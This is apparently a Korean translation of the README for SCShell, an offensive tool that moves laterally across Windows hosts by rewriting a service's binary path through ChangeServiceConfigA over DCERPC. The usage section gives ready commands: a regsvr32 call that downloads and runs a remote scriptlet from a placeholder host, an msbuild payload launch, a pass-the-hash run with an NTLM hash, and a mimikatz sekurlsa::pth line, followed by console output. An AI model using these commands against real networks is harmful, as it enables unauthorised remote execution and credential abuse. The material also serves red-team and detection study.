
파일 없는 측면 이동 도구로, ChangeServiceConfigA를 사용하여 명령을 실행합니다.
SCShell은 ChangeServiceConfigA를 사용하여 명령을 실행하는 파일리스 측면 이동 도구입니다. 이 도구의 장점은 SMB에 대해 인증을 수행하지 않는다는 점입니다. 모든 통신은 DCERPC를 통해 이루어집니다.
이 유틸리티는 원격으로 서비스를 등록하거나 생성하지 않고 사용할 수 있습니다. 또한 원격 시스템에 파일을 드롭할 필요가 없습니다* (사용된 실행 기술에 따라 다름).
서비스를 생성하는 대신 ChangeServiceConfigA API를 통해 원격으로 서비스를 열고 바이너리 경로 이름을 수정합니다.
그런 다음 서비스를 시작합니다.
실행이 완료되면 서비스 바이너리 경로는 원래 경로로 되돌려집니다. 원래 서비스 경로는 QueryServiceConfigA를 사용하여 추출됩니다.
인증을 포함한 모든 작업은 DCERPC를 통해 이루어집니다.

현재 빌드는 C로 작성되었지만 C# 및 PowerShell로 포팅할 예정입니다.
Usage:
SCShell.exe target service payload domain username password
target을 local로 설정하면 로컬에서 페이로드를 실행합니다.
원격 실행
SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll" . administrastor Password
페이로드가 서비스 중지 후에도 종료되지 않도록 하려면 C:\windows\system32\cmd.exe /c를 사용하는 것이 좋습니다. 전체 경로를 사용해야 합니다.
msbuild 페이로드도 사용할 수 있습니다.
SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /C C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\payload.csproj" . administrator Password
SCShell ***
Trying to connect to 192.168.197.131
Username was provided attempting to call LogonUserA
SC_HANDLE Manager 0x009ED250
Opening XblAuthManager
SC_HANDLE Service 0x009ED1B0
Service path was changed to C:\windows\system32\cmd.exe /C C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\payload.csproj
Service was started.
XblAuthManager( Xbox 액세서리 관리 서비스)를 대상으로 사용하고 있습니다.
scshell.py는 SCShell의 python2 및 3 구현입니다. impacket 프로젝트를 사용하여 해시 전달을 통해 동일한 측면 이동을 쉽게 수행할 수 있습니다.
설치
pip install impacket
사용법
python scshell.py DOMAIN/USER@target -hashes 00000000000000000000000000000000:ad9827fcd039eadde017568170abdecce
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
[*] Command need to use FULL path. No command output.
SCShell>
C 유틸리티를 사용하여 해시를 전달할 수 있습니다. 기본적으로 현재 프로세스 토큰이 사용됩니다. 표준 해시 전달 방식을 사용하여 현재 프로세스 토큰을 설정할 수 있습니다.
로컬 시스템에서
sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:cmd.exe
그런 다음 새로 생성된 cmd.exe 내에서 SCShell.exe를 실행합니다.
코드는 Windows에서 GCC Mingw 컴파일러를 사용하여 컴파일되었습니다.
Mr.Un1k0d3r RingZer0 Team
도덕적 지원을 제공한 Tazz0